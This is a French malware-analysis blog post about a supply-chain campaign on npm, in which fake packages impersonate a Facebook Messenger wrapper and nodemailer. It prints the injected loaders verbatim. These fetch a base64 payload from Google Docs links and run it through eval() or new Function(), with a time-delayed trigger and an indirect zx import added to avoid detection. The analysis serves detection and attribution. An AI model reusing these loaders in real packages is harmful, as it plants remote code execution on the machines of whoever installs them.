Le 14 mars 2025, nous avons détecté un package malveillant sur npm appelé node-facebook-messenger-api. Au début, il semblait s'agir d'un malware assez banal, bien que nous ne puissions pas déterminer l'objectif final. Nous n'y avons pas prêté plus d'attention jusqu'au 3 avril 2025, date à laquelle nous avons vu le même acteur de menace étendre son attaque. Ceci est un bref aperçu des techniques utilisées par cet attaquant spécifique, et quelques observations amusantes sur la façon dont leurs tentatives d'obfuscation finissent par les rendre encore plus évidents.
TLDR
node-facebook-messenger-api@4.1.0, déguisé en wrapper légitime de Facebook Messenger.axios et eval() pour extraire une charge utile à partir d'un lien Google Docs — mais le fichier était vide.zx bibliothèque pour éviter la détection, intégrant une logique malveillante qui se déclenche des jours après la publication.node-smtp-mailer@6.10.0, usurpant l'identité de nodemailer, avec la même logique C2 et la même obfuscation.hyper-types, révélant une nette modèle de signature reliant les attaques.Premières étapes
Tout a commencé le 14 mars à 04h37 UTC, lorsque nos systèmes nous ont alertés d'un paquet suspect. Il a été publié par l'utilisateur victor.ben0825, qui prétend également avoir le nom perusworldCeci est le nom d'utilisateur du propriétaire de dépôt légitime pour cette bibliothèque.

Voici le code qu'il a détecté comme étant malveillant dans node-facebook-messenger-api@4.1.0:, dans le fichier messenger.js, ligne 157-177 :
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
L'attaquant a tenté de masquer ce code dans un fichier de 769 lignes, qui est une classe volumineuse. Ici, ils ont ajouté une fonction et l'appellent directement. Très astucieux, mais aussi très évident. Nous avons tenté de récupérer la charge utile, mais elle était vide. Nous l'avons signalé comme malware et sommes passés à autre chose.
Quelques minutes plus tard, l'attaquant a publié une autre version, la 4.1.1. La seule modification semblait se trouver dans le README.md et package.json fichiers, où ils ont modifié la version, la description et les instructions d'installation. Parce que nous marquons l'auteur comme un mauvais auteur, les packages à partir de ce moment ont été automatiquement signalés comme malveillants.
Essayer d'être furtif
Puis, le 20 mars 2025 à 16h29 UTC, notre système a automatiquement signalé la version 4.1.2 du package. Voyons ce qu'il y avait de nouveau. Le premier changement se trouve dans node-facebook-messenger-api.js, qui contient :
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');La modification apportée à ce fichier se trouve sur la dernière ligne. Il ne s'agit pas seulement d'importer le messenger.js fichier lorsqu'il est demandé, cela se fait toujours lors de l'importation du module. Astucieux ! L'autre modification concerne ce fichier, messenger.js. Il a supprimé le code précédemment ajouté et a ajouté ce qui suit aux lignes 197 à 219 :
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Voici un aperçu de ce qu'il fait :
- Il utilise une vérification basée sur le temps pour déterminer s'il doit activer le code malveillant. Il ne s'activerait qu'environ 4 jours plus tard.
- Au lieu d'utiliser
axios, il utilise désormais Googlezxbibliothèque pour récupérer la charge utile malveillante. - Il désactive le mode verbeux, qui est également le mode par défaut.
- Il récupère ensuite le code malveillant
- Il le décode en base64
- Il crée une nouvelle fonction en utilisant le
Function()constructor, qui est effectivement équivalent à uneval()appel. - Il appelle ensuite la fonction, en lui passant
requirecomme argument.
Mais encore une fois, lorsque nous essayons de récupérer le fichier, nous n'obtenons pas de charge utile. Nous obtenons juste un fichier vide appelé info.txt. L'utilisation de zx est curieux. Nous avons examiné les dépendances et avons remarqué que le package original contenait quelques dépendances :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}Le package malveillant contient les éléments suivants :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Regardez ça, ils ont ajouté la dépendance hyper-types. Très intéressant, nous y reviendrons à plusieurs reprises.
Ils frappent encore !
Puis le 3 avril 2025 à 06h46, un nouveau package a été publié par l'utilisateur cristr. Ils ont publié l'e package node-smtp-mailer@6.10.0. Nos systèmes l'ont automatiquement signalé car il contenait du code potentiellement malveillant. Nous l'avons examiné, et cela a suscité notre intérêt. Le package prétend être nodemailer, juste avec un nom différent.

Notre système a signalé le fichier lib/smtp-pool/index.js. Nous voyons rapidement que l'attaquant a ajouté du code en bas du fichier légitime, juste avant le final module.exports. Voici ce qui est ajouté :
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nous connaissons ce code ! Il est à nouveau horodaté pour ne s'exécuter que 4 jours plus tard. Nous avons tenté avec enthousiasme de récupérer le payload, mais nous n'avons reçu qu'un fichier vide nommé beginner.txt. Bof ! Nous réexaminons les dépendances pour voir ce qu'elles importent. zxNous avons noté que le légitime nodemailer le package a non direct dépendances, uniquement devDependencies. Mais voici ce que contient le package malveillant :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Voyez-vous une similitude entre ceci et le premier package que nous avons détecté ? C'est la même liste de dépendances. Le package légitime n'a pas de dépendances, mais le malveillant en a. L'attaquant a simplement copié la liste complète des dépendances de la première attaque vers celle-ci.
Dépendances intéressantes
Alors, pourquoi ont-ils cessé d'utiliser axios à zx pour la création HTTP requêtes ? Certainement pour éviter la détection. Mais ce qui est intéressant, c'est que zx n'est pas une dépendance directe. Au lieu de cela, l'attaquant a inclus hyper-types, qui est un package légitime du développeur lukasbach.

Outre le fait que le dépôt référencé n'existe plus, il y a quelque chose d'intéressant à noter ici. Voyez comment il y a 2 dépendants? Devinez de qui il s'agit.

Si l'attaquant avait réellement voulu tenter d'obfusquer son activité, il est assez stupide de dépendre d'un package dont ils sont les seuls dépendants.
Mots de la fin
Bien que l'attaquant derrière ces packages npm n'ait finalement pas réussi à livrer une charge utile fonctionnelle, sa campagne met en lumière l'évolution continue des menaces de la chaîne d'approvisionnement ciblant l'écosystème JavaScript. L'utilisation de l'exécution différée, des importations indirectes et du détournement de dépendances montre une conscience croissante des mécanismes de détection — et une volonté d'expérimenter. Mais cela montre aussi comment une sécurité opérationnelle négligente et des schémas répétés peuvent encore les trahir. En tant que défenseurs, c'est un rappel que même les attaques échouées sont des informations précieuses. Chaque artefact, astuce d'obfuscation et dépendance réutilisée nous aide à construire de meilleures capacités de détection et d'attribution. Et surtout, cela renforce pourquoi la surveillance continue et le signalement automatisé des registres de packages publics ne sont plus facultatifs — c'est essentiel.
Sécurisez votre logiciel dès maintenant.



.avif)
